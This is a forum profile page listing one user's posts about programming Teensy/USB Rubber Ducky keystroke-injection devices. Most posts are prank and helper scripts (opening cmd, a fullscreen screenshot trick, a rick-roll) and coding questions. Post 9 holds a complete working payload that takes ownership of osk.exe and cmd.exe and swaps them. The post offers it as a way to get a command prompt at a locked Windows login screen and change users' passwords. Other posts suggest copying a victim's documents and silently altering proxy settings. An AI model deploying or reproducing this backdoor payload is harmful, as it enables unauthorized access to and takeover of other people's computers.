Jump to content

benownzu93

Active Members
  • Posts

    48
  • Joined

  • Last visited

Everything posted by benownzu93

  1. The first one I would include is just running a command or opening command prompt. void setup(){ run("cmd"); } void loop(){ digitalWrite(PIN_D6, LOW); delay(1000); digitalWrite(PIN_D6, HIGH); delay(1000); } void run(char *command){ delay(100); Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(400); Keyboard.print(command); delay(200); enter(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
  2. Just looked on the pjrc website at the sd card page (couldn't find it last night) and the regulator and buffer are fitted to the sd card adapter so you don't have to fit one.
  3. I would think that if it is working fine you don't need it. But looking at this the Operating Voltage of a SD card is 2.7V-3.6V. So if you want to protect your card then put it on.
  4. You could try this, it takes a screen shot then make it full screen using paint :P void setup(){ delay(8000); prtsc(); delay(50); run("%windir%/system32/mspaint.exe"); delay(700); ctrlv(); delay(200); esc(); delay(200); feleven(); } void loop(){ digitalWrite(PIN_D6, LOW); delay(random(1000)); digitalWrite(PIN_D6, HIGH); delay(random(1000)); } void prtsc(){ Keyboard.set_key1(KEY_PRINTSCREEN); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void run(char *command){ delay(100); Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(400); Keyboard.print(command); delay(400); enter(); } void ctrlv(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_V); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void feleven(){ Keyboard.set_key1(KEY_F11); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void esc(){ Keyboard.set_key1(KEY_ESC); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
  5. Yeah , I tend to have a load of documents all over the place tbh don't use my documents too much. so a search is likely to work better. Nope the Teensy can not read a terminal output If you used Iorngeeks phukd library you can use the code "int ledkeys(void)" if you don't wan to use his library best thing to do would be ask him or download his library and have a look inside to see how it works.
  6. Hi Im not to good with osx, but could you do a search of the whole hard disk for say .doc .xls .ppt .html .txt and so on then make a copy of those files. you might need to do it using the GUI You can set the Teensy to read the caps lock num lock and scroll lock keys, best to look on iorngeeks website for an example this.
  7. You may a problem making it find the drive, cos drive letters change depending on the computer. I guess Your working on linux?
  8. I just figged that kinda what you can use kon boot for. but I guess this works if they have a bios password, and you don't fancy going inside there computer.
  9. If you have plenty of time behind a pc when it's locked, logged off or shut down. But only A few seconds when it logged in, this code will allow you to change the users password or run any command at the login screen. This works by replacing an ease of access tool with command prompt I used the on screen keyboard (osk.exe) in this code but you can also use Magnify.exe or Utilman.exe When you have run this while the computer is logged in, you will be able to open the ease of access menu on the login screen and select the tool you have replaced with cmd. if you have replaced Utilman then cmd will popup when you click the ease of access button. void setup() { delay(7000); cmd(); delay(4000); uac(); delay(1000); Keyboard.print("takeown /f osk.exe /a"); enter(); Keyboard.print("cacls osk.exe /p %username%:F"); enter(); Keyboard.print("Y"); enter(); Keyboard.print("takeown /f cmd.exe /a"); enter(); Keyboard.print("cacls cmd.exe /p %username%:F"); enter(); Keyboard.print("Y"); enter(); Keyboard.print("ren osk.exe osk_.exe"); enter(); Keyboard.print("xcopy cmd.exe osk.exe"); enter(); Keyboard.print("f"); enter(); Keyboard.print("exit"); enter(); } void loop() { digitalWrite(PIN_D6, LOW); // LED on delay(random(1000)); // Slow blink digitalWrite(PIN_D6, HIGH); // LED off delay(random(1000)); } void cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.print("cmd"); delay(700); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); } void uac(){ Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); enter(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); } I have tested all the all the steps but not run this code on my ducky yet, i don't have time to reset all the permissions on the files. Please test it and let me know what you think.
  10. You Want to be looking at the usb switch blade \ Usb Hack saw, that kind of stuff
  11. You could Just use the "ver" command.
  12. Some Good Ideas. I Really Like this one :P --Edit-- I just had to do it void setup(){ delay(3000); run("http://www.youtube.com/watch?v=EK2tWVj6lXw"); delay(500); run("notepad.exe"); delay(700); } void loop(){ Mouse.move(-127, -127); echo("YOU HAVE BEEN RICK ROLLED"); enter(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void run(char *command){ delay(100); Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(400); Keyboard.print(command); delay(400); enter(); command =0; }
  13. The best way to do it is to find cmd in the start menu then use ctrl+shift and enter to run as admin, you also need to send left and enter to accept the UAC, I did something like this here Very good point. You are smart, but dumb users aren't that smart. so it will still work for most common users.
  14. This should work for XP, but on 7 it won't you need to run cmd as admin for these commands to work. not too sure about vista but i have a feeling it is the same as 7 with this.
  15. If you disable keyboard with something like this wouldn't stop the ducky as well.
  16. That's just what I was working on :D ,I'm using arduino not c but it's not too hard to translate between them them. Also i like the devcon idea, time to make a full on payload :P --Edit-- I just came across this, don't know if it will be any good http://www.apps4apps.filetap.com/nomousy.html
  17. That is relay cool, I'm going to start using that for most of my ducky stuff.
  18. What? How is it buttkissing? Explain... And I'm sure if you did something like this fore free you would appreciate a bit of thanks.
  19. Yeah I needed to remove the quotes. It would not recognize uint8_t. But it works with char not char* so this works now. void setup(){ delay(3000); ctrlcombo(KEY_A); } void ctrlcombo(char ctrlkey){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(ctrlkey); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } haha, I was at school when I posted this topic, exams mean that teacher is a bit to busy to help me with this at the moment. Thanks for your help.
  20. this is some of my code void setup(){ delay(3000); ctrlcombo("KEY_A"); } void ctrlcombo(char* ctrlkey){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(ctrlkey); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } I get this error "invalid conversion from 'char*' to 'uint8_t'" can any one help me?
  21. It would be buttkissing if he had not sent them out yet. even though it ended up being random.
  22. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyEnable and ProxyServer are the values you need to edit but you do need to reboot, i just tried it. --edit-- if you set ProxyEnable to 1 then it has no affect, but if you go to the proxy settings box it is ticked on after you apply it takes affect.
  23. It could be, but don't you have to restart for registry edits to take affect?
×
×
  • Create New...